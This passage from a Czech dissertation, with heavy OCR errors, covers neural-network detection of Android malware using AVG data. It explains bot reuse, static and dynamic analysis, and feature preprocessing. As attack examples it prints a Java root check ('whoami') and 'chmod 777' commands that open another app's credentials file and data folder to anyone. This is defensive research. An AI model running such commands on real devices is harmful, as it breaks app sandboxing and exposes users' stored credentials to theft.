legitimizujici/infikované aplikaci. Skodliva funkcionalita mize byt zapouzdfena
do Java tfid €1 * jar knihoven, které maji pevnou strukturu a ¢asto jsou v nékolika
malwarech uplné stejné. To znamend, Ze¢ je mozné€ pouzit porovnani hashl
vnitfnich komponent vySetfované mobilni aplikace s databazi hashi
kompromitovanych komponent malware. V této fazi vySetfovani je mozné pouzit
metody pokrocileého porovnavani textil, kdy se porovnava kod testované aplikace
s kompromitovanymi kusy zdrojovych kodi. Opétovné pouzivani (Reuse) Casti
kodi malwaru je typickée pro boty (mobilni klienti botnetovskych siti). Naptiklad:
nejprve je bot umistén do aplikace na piedpovéd’ pocasi. Cela aplikace je
distribuovand pomoci Google Play. Jakmile dojde ke kompromitaci dané
aplikace:

e je vytvorena nova legitimizujici aplikace, do které je pfidan jiz vytvofeny
bot. Distribuce opét probihd prostfednictvim Google Play. Dostane-li
aplikace BAN®°, miize byt malware stale distribuovan pomoci File Share
serveru.

e je vytvofena nova aplikace. Bot je formaln€ upraven. Zméni se nazvy tfid,
metod a konstant tak, aby Skodlivé komponenty mély jinou hash. Pak je
nove sestavend aplikace opét distribuovana prostiednictvim Google Play.

e utocnik odstrani pomoci reverse engineeringu softwarovou ochranu
z legitimni placené aplikace. Pfid4 bez jakékoliv zmény plivodniho bota a
infikovand mobilni aplikace je distribuovana pomoci File Share serveri a
Torrenti.

Pti sestavovani bezpe€nostnich testil je nutné pocitat s tim, Ze nemusi byt
opétovné pouZzita celd Skodliva ¢ast. U nové vytvatenych botd mohou byt znovu
pouzity jen nékteré ¢asti, napiiklad:

e subsystém vyhodnocovani ptikazii zaslanych z C&C serveru.

3 Bezpecnostni mechanismus Google Play identifikuje aplikaci jako malware, smaze ji a
zablokuje vyvojarsky ucet, pod kterym byla dana aplikace publikovaina.
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e modul pro komunikaci bota a C&C serveru.
e moduly pro kradeze dat.
e apodobng.

Dal$i moZnosti znovupouziti je takzvana skofapka. Utoénik vzdy vytvoii
minimalni kostru aplikace, ktera slouZzi jako obal:

e mimo malwarovou ¢ast je vytvorena pouze jedinou uZivatelskou aktivitou,

e v souboruAndroidManifest.xml, v elementu application je odliSna hodnota
parametru label,

e v adresafi /res jsou vymenény ikony.

Malwarova cast, ktera tvoii podstatnou cast aplikace, je vzdy stejna. Hruby
malware nemiize byt distribuovan oficidlni cestou, nebot” by hrozila jeho
kompromitace. Z toho dlivodu je €asto distribuovan pomoci webovych stranek se
sexudlnim obsahem nebo pomoci Fake Update.

Vyjimeéné postaveni mezi moduly statické analyzy ma test zaloZzeny na
vyhledavani metod uZivatelské interakce ve zdrojovych kodech vySetfované
mobilni aplikace. Jeho vysledky jsou vyuZity nejen pro moduly statické analyzy,
ale slouZi 1 jako vstup pro moduly dynamické analyzy. Hledaji se interakce, jako
kliknuti na tlacitko, vybér z nabidek a podobné&. Naptiklad:

public void button1_onClick(View v)
private OnClickListener myOnClickListener = new OnClickListener()

Jinymi slovy jsou vyhledavany metody, jez jsou navazany na GUI elementy,
vyZaduji uzivatelskou interakci. Je nutné si uvédomit, Ze pro komplexni vySetieni
interaktivnich metod nestaci pouze analyza Java kodu. Je potieba vySetiit 1 XML
layouty, zda se u jednotlivych elementi uzivatelského rozhrani nevyskytuji
parametry, jako naptiklad android:onClick:

<Button

android:id="@+id/button"
android:text="OK"

android:onClick="button_onClick"/>
Zvyrazn€nd Cast vySe uvedené ukazky naznacluje, Ze v aktivité, které patii

XML layout je interaktivni metoda button onClick. Souhrnnym vystupem
analyzy vSech statickych modulil je log statickych features.
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Moduly dynamické analyzy

NAA moduly dynamické analyzy jsou postaveny na chovani vySetfované
mobilni aplikace (behavioralni detekce). NAA moduly zahrnuyji:
e spousténi podezielé aplikace ve vysoce kontrolovaném prostiedi,
e cmulace uzivatelského chovani (aktivace interaktivnich metod),
e porovnavani stavu systému v asynchronnim case,
e ohodnocovani zavaznosti jednotlivych krokt, které vySetfovana aplikace
ucinila,
e apodobng.

Podeziela aplikace je spousténa ve vysoce kontrolovaném prostiedi, kterym je
specialni software emulujici fyzické mobilni zafizeni. Emulacni software
upravuje mobilni operaéni systém tak, Ze moduly dynamické analyzy mohou do
emulovaného mobilniho telefonu/tabletu ptistupovat s pravy superuZzivatele
(root). To zajisti, Ze moduly mohou sledovat vS§echny ¢innosti podezielé aplikace.
NAA moduly dynamické analyzy pouzivaji stejné typy emulatorii, které byly
emulatort jsou takove, které modulim dynamické analyzy umoziuji ovladani
prostfednictvim API.

Dal§im vyznamnym prostfedkem dynamické analyzy je emulace uZivatelského
chovani. Spolecnosti, které¢ se zabyvaji bezpecnosti mobilnich aplikaci, maji
k dispozici vysledky vyzkumi uZivatelského chovani. To je vyjadieno pomoci
statistickych charakteristik, naptiklad primérna doba, kterou uZivatel stravi na
jedné aktivité aplikace a podobné. Statistické charakteristiky jsou pouzivany
spolu s volanim metod uZivatelské interakce nalezenymi pii statické analyze.
Metody jsou postupné volany a sleduji se vysledky, jez jsou ohodnocovany
z hlediska bezpecnosti, a zapisovany do logu dynamickych features.

Stejné, jako b&hem rucni dynamické analyzy, jsou 1 b&hem cCinnosti
dynamickych modull sledovany stavy systému v asynchronnim case:
po instalaci, pted prvnim spusténim vySetfované mobilni aplikace,
po prvnim spusténi vySetfované mobilni aplikace,
prvni béZné spusténi vySetfované mobilni aplikace,
po volani néjaké z metod uZivatelské interakce, kdy vySetfovand mobilni
aplikace méni svilj vnitini stav nebo stav systému.

Sleduje se predevsim:

jak se méni souborovy systém aplikace /data/data/examined App,

zda testovana aplikace vytvari adresare nebo zapisuje soubory na SD kartu,
zda se aplikace pokousi Cist nékteré z jiz existujicich souborii na SD kartg,
zda aplikace zjiSt'uje, jestli béZi na zatizeni, na kterém jsou k dispozici
prava super uzivatele a pokud ano, zda se vySetfovana aplikace pokousi
modifikovat opera¢ni ¢i souborovy systém pomoci spousténi shellovych
skriptd,

e sitovy provoz aplikace,
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e logy, které generuje testovana aplikace,
e systémove logy, které jsou reakci na chovani aplikace,
e atd.

Ukazka jednoho ze zplsobi, kterym malware zjiStuje, zda b&zi mobilni
zatizeni, na kterém jsou k dispozici prava super uzivatele:

protected void onStart()
{
super.onStart();
/I POUZE ZJISTENI, ZDA JSOU KDISPOZICI SUPER UZIVATELSKA
OPRAVNENI:
ExecuteAsRootBase executeAsRootBase = new ExecuteAsRootBase()

{
@Override
public ArrayList<String> getCommandsToExecute()
{
ArrayList<String> myCommands = new

ArrayList<String>(Arrays.asList("whoami"));
return myCommands;

}
b

iflexecuteAsRootBase.canRunRootCommands())

{
/I JE MOZNE PROVEST UTOK POMOCI SHELLOVEHO SKRIPTU

}

else

{
/I NENI MOZNE PROVEST UTOK POMOCI SHELLOVEHO SKRIPTU

)
}

Pt1 analyze utocnych skriptl je potifeba obzvlasté peclivé sledovat modifikaci
Unixovych opravnéni nad privatnimi datovymi prostory, ktera nepatii testované
aplikaci. Napftiklad:

"chmod 777 /data/data/com.cloudcompany.bestcloud2/shared_prefs/credentials.xml"

Nebo:

"chmod -R 777 /data/data/com.cloudcompany.bestcloud2”
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Upravy tohoto typu zrusi Application Sandboxing. To znamend, Ze utony
skript vystavi privatni datovy prostor legitimni aplikace riziku kradeze, protozZe
nyni z n¢j mize Cist kdokoliv (dokonce 1 mazat), viz Cervené oznaceny ramecek
na obrazku 6.7.

drwxr-x--x u®_a57 u0_a57

drwxrwxrwx u0 _a63 u® _a63
drwxr-x--x u®_a61 u0_abl

Obr. 6.7: Vysledek utocného skriptu: Application Sandboxing byl u aplikace u0 _a63
poSkozen [zdroj viastni]

Souhrnnym vystupem analyzy vSech dynamickych modulil je log dynamickych
features. Po vykonani obou fazi automatizované analyzy vzorku podezielé
mobilni aplikace je sloucen log statickych a dynamickych features do jediného
souboru. Posledni fazi je vyhodnocovani, zda se jedna o malware ¢i nikoliv. Pro
tuto f4zi mohou byt vyuZity neuronové sité pracujici nad daty, ktera byla ziskana
pomoci nastrojii automatizované analyzy. To znamend, Zze NAA jsou vyuzivany
pro vytvofeni trénovaci a testovaci mnoZziny:

e Prvnim vstupem do NAA jsou APK balic¢ky, u kterych je pfedem znamo,

Ze se jedna o mobilni malware. BaliCky projdou statickou 1 dynamickou
analyzou, jak bylo popsano vyse. Jejich vysledné feature logy jsou zapsany
do jediného logu, ve kterém jsou obsaZeny vSechny malware APK balicky
a jejich features, které byly zjiStény béhem vSech testil. Log se jmenuje
BLACK log.

e Druhym vstupem do NAA jsou APK balicky, u kterych je pfedem znamo,
Ze se jedna o legitimni neinfikované aplikace. Balicky prochazi stejnou
statickou 1 dynamickou analyzou jako malware a jejich vysledné feature
logy jsou zapsany do jedin¢ho logu, ve kterém jsou obsaZeny vSechny
legitimni APK balicky a jejich features, jeZ jsou zjiStény béhem vSech testi.
Log se yjmenuje WHITE.log.

6.2 Vyzkum v oblasti detekce mobilniho malware pomoci
neuronovych siti

6.2.1 Spoluprace s AVG Technologies CZ

Data, nad kterymi byl provadén vyzkum schopnosti neuronovych siti detekovat
mobilni malware, byla dodana spolecnosti AVG Technologies CZ v ramci
vyzkumné spoluprace. Autor prace by rad podékoval spolecnosti AVG
Technologies CZ za ziskana data, kterd velmi napomohla vyzkumu. Bez nich by
nebylo mozné provést badani v oblasti detekce mobilnitho malware v takovém
rozsahu a kvalité. Autor by déle rad podékoval za moZnost provadét zasadni Casti
vyzkumu ptimo ve spole¢nosti AVG Technologies CZ a konzultovat jednotlivé
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postupy a metody s bezpe¢nostnimi odborniky spolecnosti AVG Technologies
CZ.

Obecné principy ziskdni dat ve formé feature logii jsou popsany v 6.1 oddile
Princip detekce mobilniho malware pomoci neuronovych siti. Jednd se o
formalizovany aparat, ktery nepopisuje postupy ziskavani dat spole¢nosti AVG
Technologies CZ. Detailni metody ziskavani dat jsou obchodnim tajemstvim
spole¢nosti AVG Technologies CZ a nejsou proto soucasti dizertacni prace. Data,
ktera byla ziskana od spole¢nosti AVG Technologies CZ méla podobu surovych
numerickych vektort. Jednalo o Cisté matematicka data, u nichz nebylo mozné
vysledovat cokoliv z ¢innosti NAA systému spolecnosti AVG Technologies CZ.
Ziskana data méla formu numerické abstrakce, nebylo z nich rovné€z mozné urcit
vyznamy jednotlivych hodnot (features). Popsand podoba ziskanych dat
naznacuje silu neuronovych siti, protoze pro jejich uspé€Snou detekci nebylo
potieba Zadné know-how o NAA systému spole¢nosti AVG Technologies CZ.

6.2.2 Umélé neuronové sité

Umélé neuronove sit¢ (Artificial Neural Nets, ANN) patii do oblasti um¢lé
inteligence a storojového uceni stejné jako napt. Naivni Bayesovsky klasifikator
[169], Logistickd regrese [170], Metoda podpiirnych vektorii (Support Vector
Machines) [171], Nahodny les (Random forest) [172], ¢i1 metoda k-nejblizSich
sousedl (k-nereast neighbours) [173].

ANN jsou inspirovany v biologickych neuronovych sitich a pouZivaji se pro
slozité¢ a naro¢né ukoly [161], [162], [163], [164]. NejcastéjSim pouzivanim je
klasifikace objekti, stejné jako v tomto piipadé. ANN jsou schopné generalizace
a robustniho chovani. Zvladaji nejriznéjs$i typy uloh, jako je klasifikace c¢i
rozpoznavani vzoru, fizeni systémd, filtrovani signali, regresni ulohy, clustering,
rekonstrukce vstupni informace a dalsi.

Umélé neuronové sité¢ existuji ve vice variantach. Zakladni déleni je na
supervised (s ucitelem) a unsupervised (bez ucitele) sit€¢. Experimenty zamétené
na detekci mobilniho malwaru, které byly provedeny v ramci dizertacni prace,
byly zaloZeny na sitich typu s ucitelem, tedy doptfedné siti (vicevrstvy perceptron)
s Levenberg-Marquardtovym ucicim algoritmem.

ANN potiebuje trénovaci mnoZinu dat znamych feSeni, na kterych se sit’ musi
naucit. Data pro ANN musi mit tedy vstupy a poZadovane vystupy. Sit’ si pak na
bazi minimalizace celkové chyby sité upravuje vhodnym zplisobem vahy tak, aby
byl vytvofen matematicky model mezi vstupy a vystupy, ktery bude reagovat na
danou trénovaci sadu dat poZadovanym zplsobem. Samoziejmosti vhodné
naucene sit€ je 1 kvalitni odezva naucené sité pfi testovani.

Neuronova sit’ je sloZzena z jednotlivych neuronti (viz obrazek. 6.8 a)), pro které
je charakteristicky vypocet vnitiniho potencialu, tj. suma vstupil (vlastnosti nebo
atributy vstupnich instanci (features)) nasobenych vahami, obohacend ptipadné
jesté o prahovou hodnotu. Nasledné je tento vnitini potencidl pfenesen pies
linearni €1 nelinearni prenosovou funkci (napft. logistické sigmoida, hyperbolicky
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tangens) do dal$i vrstvy (vicevrstvé sité, viz obrazek 6.8 b), c)), pfipadné na
vystup ze sité¢. Smyslem uceni je upravit a optimalizovat vahy tak, aby nauceny
model reagoval poZzadovanym zpisobem. Minimalizuje se celkova chyba sité na
vystupu.

TI"(ZII',,L*’I’H'}_H — )

a) b)
Obr. 6.8: Umelé neuronove site [165], a) schéma neuronu, b) sit’ s jednou skrytou
vrstvou, c) sit se dvema skrytymi vrstvami

Obrazek 6.2 a) Model neuronu, kde TF znamena ptfenosovou funkci (napf.
logistickd sigmoida), X1 - Xn znamenaji vstupy do neuronove sité, wi — wy jsou
vahy, b ptedstavuje prah (rovny 1) se svou vlastni vdhou wy a y je vystup, b)
model neuronovych siti s jednou skrytou vrstvou, ¢) model neuronovych siti
s dvéma skrytymi vrstvami a vice vystupy.

6.2.3 Datova analyza a tvorba vstupnich vektori pro neuronové sité
Transformace dat

Data, ktera byla ziskana z NAA systému spolecnosti AVG Technologies CZ,
m¢éla sviij specificky firemni format. Bylo nutné nejprve provést nad daty zakladni
rozbor a seznamit se s jejich vnitini strukturou. Pro tento ucel naprogramoval
autor prace ZuMi Parser, ktery je zobrazen na obrazku 6.9. Software byl vytvoren
v jazyce C# na zdklad€ diskuse o datovych strukturach se skolitelkou doc. Ing.
Zuzanou Kominkovou Oplatkovou, Ph.D., kter4 poskytla fadu cennych podnét
ohledné funkcionality ZuMi Parseru. Celkovy piehled jednotlivych prostiedkil,
které byly pouZity v ramci vyzkumu, je zachycen na obrazku 6.10:

e faze 1 - soubory BLACK.log a WHITE.log byly upraveny a
transformovany pomoci ZuMi Parseru do formatu CSV,

o faze 2 - CSV soubory byly dale zpracovavany v prostiedi Wolfram
Mathematica, ve kterém byl vytvofen prototyp analyzatoru, ktery
analyzoval data ziskana z CSV souborli. Analyzator je dale modifikoval
tak, aby se zvySila vzijemnd rozliSitelnost infikovanych a c¢istych
(legitimnich) vzorkt APK aplikaci,

e faze 3 - prototyp analyzatoru m¢l 1 druhou funkci. Z dat, které sam upravil,
pfipravoval mnoZiny vstupnich vektora,

e faze 4 - na zékladé mnoziny vstupnich vektort byly vytvoreny odpovidajici
struktury doptfedné neuronové sité¢ (tj. feedforward neboli vicevrstvy
perceptron),
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e faze 5 - posledni Cast se zabyvala ucenim neuronovych siti. Nasledné se
testovaly detekéni schopnosti jiz naucenych neuronovych siti nad
mnozinou neznamych vstupnich vektort.

P - B x

ew Project Buld Debug Team Tools Test Analyze Window Help Milan Oulehla -
A, nmd

Is ~1x ¢
- #3 Parser ZuMi_v1.Forml @, button1 Click(object sender, EventArgs €) Select Tools™ @ Zoomin & Zo 5

1:10 mi
in

Obr. 6.9: ZuMi Parser urceny pro rozbory struktury dat a jejich transformaci [zdroj
viastni]

V této Casti prace jsou podrobné popsany faze vyzkumu 1 az 5. Data byla
dodana ve vice etapach. Lisila se po¢tem 1 kategoriemi features, u kterych mély
vySetfovane vzorky APK aplikaci pfirazenu relevantni hodnotu. Z tohoto divodu
byl ZuMi Parser naprogramovan tak, aby si dokazal poradit s variabilnimi
datovymi strukturami. Parser pii prvnim priichodu datovou strukturou vytvofil
seznam vSech relevantnich features. Ze seznamu byla podle RFC 4180 (kapitola
2 Definition of the CSV Format, bod 3) [166] vytvofena hlavicka platnych
features. Druhym priichodem datovou strukturou byl zjiStén rozsah hodnot vSech
features v souborech BLACK.log a WHITE.log. Ve tfetim prichodu byly
postupné prochdzeny v§echny vzorky mobilnich APK aplikaci. U kazdého vzorku
byly nejprve ptecteny ty features, u kterych byla naméfena néjaka hodnota. To
Znamena, Ze ve zpracovavaném vzorku existoval zdznam o pfisluSné feature.
Nasledné byly prochdzeny zbyvajici features definované v hlavicce vytvaren¢ho
CSV souboru, u nichZ neexistovala pro dany vzorek hodnota. Takové features
byly vyplnény unikatni hodnotou u (jedinecnost zajistuje druhy prichod), ktera
se nevyskytovala u zadné feature v souborech BLACK.log a WHITE.log.
Hodnota vSech neexistujicich features byla nastavena na stejnou hodnotou u,
ktera byla definovdna jako u € {x|x EZAx < 0Ax & F}, kde F je mnozina
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vSech hodnot features obsazenych v souborech BLACK.log 1 WHITE.log.
Zkompletovany zaznam aktualné zpracovavané¢ho vzorku APK aplikace byl
pomoci StreamWriteru zapsan jako jeden fadek vystupniho CSV souboru. Vyse
uvedenym zplsobem byly zpracovany vSechny vzorky v BLACK.log a
WHITE.log souboru. Pfi¢emz vystupem ZuMi Parseru byly soubory:

e black.csv —obsahoval vSechny APK aplikace, které predstavovaly mobilni

malware,
e white.csv — byl tvofen pouze legitimnimi APK aplikacemi.

Analyza transformovanych dat v prostiedi Wolfram Mathematica

Dalsi ¢ast vyzkumu probihala v prostfedi Wolfram Mathematica. Prostfedi bylo
vybrano, protoze jazyk Wolfram [167] umoZiuje rychlou analyzu nad rozsahlymi
soubory dat, a to véetné velmi piehlednych grafickych vystupt. Prosttedi rovnéz
umoziuje rychlé programovani prototypll. Psani prototypovych modulii
v konvencnich jazycich, jako jsou naptiklad C++, C# nebo Java, by bylo
tézkopadné a zdlouhavé. V jazyce Wolfram byl naprogramovan cely analyticky
modul, ktery upravoval problematické features. Modul je soucasti pfedzpracovani
dat (pre-processingu), ktery je dilezity pro nasledné vyuZiti technik strojového
uceni, v tomto piipadé umélych neuronovyh siti. Poskytoval analytické datove a
grafické vystupy a vytvarel trénovaci 1 testovaci mnoziny vstupnich vektora pro
neuronove sité¢. Samotné neuronovée sité, které tvoti nejdilezitéjsi cast detekeniho
mechanismu, byly rovnéZ realizovany v prostfedi Wolfram Mathematica.

Soubory z AVG Technologies CZ Wolfram Mathematica — neuronova sit

BLACK.log WHITE.log

1 f

Vect.Black.txt Vect.White.txt

T T

Black CSV | White CSV

ZuMi Parser

Wolfram Mathematica — prototyp analyzatoru

Obr. 6.10: Vztah jednotlivych prostredkii, které byly pouZity v ramci vyzkumu [zdroj
viastni]

Soubory black.csv a white.csv byly nalteny do prosttedi Wolfram
Mathematica. Vstupni reprezentace jednoho vzorku vySetfované APK aplikace
byla realizovéana jako vektor. Vstupni vektor ma 695 prvki, viz obrazek 6.11.
Jeden prvek vektoru vZzdy odpovida jedné feature.
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%)~ white3visual([[1]]

#- (-5, -5, -5, -5, §, -5, -5, -5, -5, 143, -5, 9, 23, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -§, -5, -§, 1, -5, -5, -5, 1, -§, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5,

, -5,

-s, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5,
-s, -5, -5, -5, -S, -5, -5, -5, -5, -§, -5, -5, -5, -5, -, -5, -5, -5, -§, -5, -5, -5, -5, -§, -5, -5, -5, -5, -§, 1, -S, -5, -5, 1, -5, -5, -5, -, -5, -5, -5, -5, -5, -5,
-s, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, =5, -5, -5, 1, -5, -5, =5, -5, -5, -5, -5, =5, -5, -5, -5, =5, =5, -5, -5, 1,
-s, -§, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -, -5, -5, -, -5, -5, -5, -5, -5, -§, -5, -5, -§, -5, -5, -§, -5, -5, -§, -5, -5, -5, -5, -5, -5, -5, 1, -5,
-s, 1, -5, -5, -5, -5, -5, -5, 1, 1, -5, -§, -5, -5, -5, 1, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, 949, -5, -5, -5, §, -5, -5, -5, -5, -5, -5, -5,
-s, -5, -5, -5, -S, -5, -5, -5, -5, -S, -5, -5, -5, -§, -, -5, -5, -5, -§, -5, -5, -5, -5, -§, -5, -5, -5, -§, -§, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5,
-s, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, 79, -5,
-s, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, 17, -5, -5, -5, -5, -5, -5,
-s, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -§, -5, -5, -5, -5, -5, -5, -5, -5, -§, -5, -5, -5, -5, -§, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5,
-s, -s, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -§, -5, -5, -5, -5, 10, -5, -S, -5, -5, -5, 17, -5, -§, -S, -5, -5, -5, -5, -5, -5, -5, -5, -§, -5, -5, -5, -5, -5,
-s, -s, -5, -5, -5, -5, -5, -5, -5, -§, -5, -5, -5, -5, -§, -5, -5, -5, -5, -S, -5, -5, -5, -5, -5, -5, -5, -5, -§, -5, -5, -5, -5, -5, 3, -5, -5, -5, -5, -5, -5, -5, -5,
-s, -5, -5, -s, -5, -5, -5, -5, -5, -5, -5, -5, -5, -§, -5, 3, -§, -5, -5, -5, -5, -§, -5, -5, -5, -5, -S, -§, -5, -5, -5, -S, -§, -5, -5, -5, -5, -§, -5, -5, -5, -5, -5,
-s, -5, -5, -5, -5, -5, -5, 7, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, 3, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5,
-s, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -§, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -§, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5,
-s, -5, -5, -5, -S, -5, -5, -5, -5, -§, -5, -5, -5, -5, -5, -5, -5, 16, -5, -5, -5, -5, -5, -5, -5, -S, -5, -5, -5, -5, -, -5, -5, -5, -5, -§, -5, -5, 17, -5, -5, -5, -5}

Obr. 6.11: Reprezentace jednoho vzorku vysetrované APK aplikace v prostiedi
Wolfram Mathematica [zdroj viastni]

Velkou vyhodou prostiedi Wolfram Mathematica je moZznost vizualizace
zkoumanych dat. Grafické zobrazovani dat bylo pouZivano v riznych fazich
vyzkumu a slouzilo:

e pro zobrazeni aktudlniho stavu dat, naptiklad zobrazeni neupravenych dat
po prvnim nacteni souborti black.csv a white.csv, nebo po provedeni
transformacnich procestl,

e pro eliminaci nezddoucich features,

e pro vybér nejvyhodnéjsiho postupu pottebneho pro dalsi fazi vyzkumu.

Na zakladé empirického zkoumani bylo zjisténo, Ze nejvyhodnéjsi vizualizace
dat s nejvyssi informacni hodnotou je graf zobrazeni f: N — F U {u}, kdy na ose
x je poradi dan¢ feature (potfadi je dano analyzou ZuMi Parseru, tedy hlavickou
CSV soubortl a je pro oba soubory black.csv i white.csv stejné) a na ose y je
hodnota ptislusné feature nebo hodnota u (uméla hodnota u je pouzita vzdy, kdyz
NAA systém u dané¢ho vzorku nezjistil hodnotu feature). Pfi¢emz plati, Ze jedna
kiivka odpovida jednomu vzorku APK aplikace. Na obrazku 6.12 je vidét, Ze
vzorek 1 (white3visual[[1]]) 1 vzorek 2 (white3visual[[2]]) maji v desate feature
v potadi zajimave hodnoty (vzorek 1 bod [10, 143]; vzorek 2 bod [10, 112]), které
by je mohly odlisit od vzorki malware.
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«20y- Take[white3visual([1]], 30]

2- {-5, -5, -5, -5, 6, -5, -5, -5, -s,-s, s, 23, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, -5, 1, -5, -5}

205~ Take[white3visual([[2]], 30]

- {-S, -5, -5, -5, 4, -5, -5, -5, -5,2, -S, 1s, -S, -S, -S, -S, -5, -5, -5, -5, 1, -S, -S, -5, -S, -5, 1, -5, -5}

209~ ListPlot[Take[white3visual, 2], Joined - True]

[10, 143]
[10, 112]

Obr. 6.12: Graficka reprezentace features dvou vzorkii legitimnich aplikaci [zdroj
viastni]

Obrazek 6.12 zaroven ukazuje u€innost zvoleného vizualizacniho postupu pii
hledani odliSnosti mezi malware a legitimnimi aplikacemi. Plati, ze ¢im vice
rozdil se mezi daty malware a Cistych, neinfikovanych aplikaci podati najit, tim
vetsi detekéni schopnosti budou neuronove sité¢ mit. Nejprve bylo nutné provést
uplnou vizualizaci vSech dat ze soubort black.csv a white.csv, které vstupovaly
do prototypu analyzatoru. Z tohoto diivodu byly do jednoho grafu vyneseny
vSechny kiivky, které¢ odpovidaji vzorklim malware zelené a do stejného grafu
byly zaznamenany vSechny vzorky legitimnich aplikaci oranZovou barvou. Byly
vytvoreny dva grafy:

e nejprve byly vykresleny vSechny vzorky ¢istych, neinfikovanych aplikaci

a nasledné byly do stejn¢ho grafu vykresleny vSechny vzorky mobilniho
malware. Situace je zachycena na obrazku 6.13 vlevo,

e pak byly vykresleny vSechny vzorky malware do druhého grafu. Do
shodného grafu byly vykresleny 1 vSechny vzorky ¢istych, neinfikovanych
aplikaci, situace je zachycena na obrazku 6.13 vpravo.

Cilem bylo zjistit, jak moc se od sebe vzorky obou skupin liSi. Z obrazku 6.13
je jasné, ze velké ¢asti dat maji obé skupiny spolecné. Obé& skupiny vzorki jsou
mobilni aplikace, byt malware je specialni typ mobilnich aplikaci. Obé& skupiny
jsou tvoreny stejnymi nebo podobnymi stavebnimi kameny, jako jsou naptiklad
broadcast receivery, aktivity ¢i sluzby. VétSina z nich mé ic_launcher, pouziva
ptikazy nativniho jazyka, spousti Intents a podobné. Je logické, Ze velka ¢ast dat
popisujici jejich chovani a strukturu je spolecna jak pro mobilni malware, tak pro

vvvvvv

takové Upravy, které zvyrazni rozdily mezi skupinami vzorkai.
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Legenda:

. - Vzorky Cistych legitimnich aplikaci

. - Vzorky malware

Obr. 6.13: Vizualizace dat ze souborii black.csv a white.csv [zdroj viastni]

Z obréazku 6.13 je patrne, Ze nckteré features mély u jednotlivych testovanych
vzorkll hodnoty, které byly od sebe nerozliSitelné. To znamena, Ze stejné nebo
podobné hodnoty features byly u malware vzorki i u vzorku legitimnich aplikaci.
Napriklad pokud vétSina malware vzorkii ma feature x rovnu hodnoté y a vétSina
vzorkll legitimnich aplikaci ma feature x rovnu hodnoté y nebo kolem této
hodnoty nepravidelné osciluje, pfi¢emz mira oscilace nemiiZze byt povazovana za
signifikantni, pak mé feature x za nasledek zhorSeni detekcnich schopnosti
neuronovych siti. Z pohledu neuronovych siti se jedna o velmi podobna data,
ktera nelze vzajemné rozlisit. Je nutné feature x odstranit ze vzorkl malware 1 ze
vzorku &istych mobilnich aplikaci. Uvodni analyza souborii black.csv a white.csv
naznacila, Ze jako prvni je potieba odstranit takové features, které¢ maji u vétSiny
infikovanych 1 neinfikovanych vzorkii hodnotu u. Jedna se o takové features,
které ziskaly relevantni hodnotu na zaklad¢ vysSetieni NAA systémi jen u velmi
malé ¢asti vzorkli nebo dokonce u Zadného vzorku dané datové sady. Pro tento
ucel byly vSechny features ze soubori black.csv a white.csv spolu s jejich
hodnotami pfesunuty do proménnych blackFilled a whiteFilled. Nad daty byl
proveden priichod, pficemZ byly spocitany vSechny vyskyty (Cetnosti) hodnot
riznych od u pro jednotlivé features vSech vzorkl, uloZzenych v proménné
blackFilled 1 v proménné whiteFilled. Pokud vSechny vzorky dan¢ho souboru
maji u feature x hodnotu u, pak je ¢etnost feature x rovna pravé nule. Vysledek
vypoctu je zachycen na obrdzku 6.14. Z vysledku je patrné, Ze features na pozicich
3,21, 23,26,27, 29, 30, 35, 40, 41 musi byt vyfazeny, nebot’ maji v proménnych
blackFilled 1 whiteFilled pouze umélou hodnotu u a jsou pro neuronové sité
nerozliSitelné (kromé features na vySe uvedenych pozicich je potieba odstranit i
nékteré dalsi, jeZ obrazek 6.14 z prostorovych diivodi nezachytil).
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Soubor black.csv {Column[blackFilled], Column[whiteFilled]}

Soubor white.csv

Cetnost feature 1 3167 0
Cetnost feature 2 253 0
Cetnost feature 3

Tyto features je nutné
odstranit, protoZe tyto
jsou pro neuronové
sité nerozlisitelné

Obr. 6.14: Vypoctené cetnosti hodnot riznych od hodnoty u pro jednotlivé features
[zdroj viastni]

V obrazku 6.15 jsou vypsany vSechny pozice features, které mély nulové
cetnosti a bylo nutné je odstranit. Na obrazku 6.15 je vidét, Ze po€et nulovych
features, jenz je nutné odstranit jak z blackFilled, tak z 1 whiteFilled je 397.
Vyslednéd data, ze kterych byly odstranény nulové features, byly zapsany do
proménnych blackDeleted a whiteDeleted:

e blackDeleted ma 298 features/sloupcti (695 — 397 = 298)

e whiteDeleted ma 298 features/sloupcti (695 — 397 = 298)

Intersection[Position[blackFilled, 0], Position[whiteFilled, 0])

003k, L2131, 23k, o , 1603,

, (403, (413, (421, (43}, (44}, 1
(91}, {93}, {94}, {102}, ¢

, 14933, ¢
3, 1513}, ¢
3, 8423, 1
}, (5773, ©
}, 16073, i
3, 1641}, 1
3, 1665}, 1

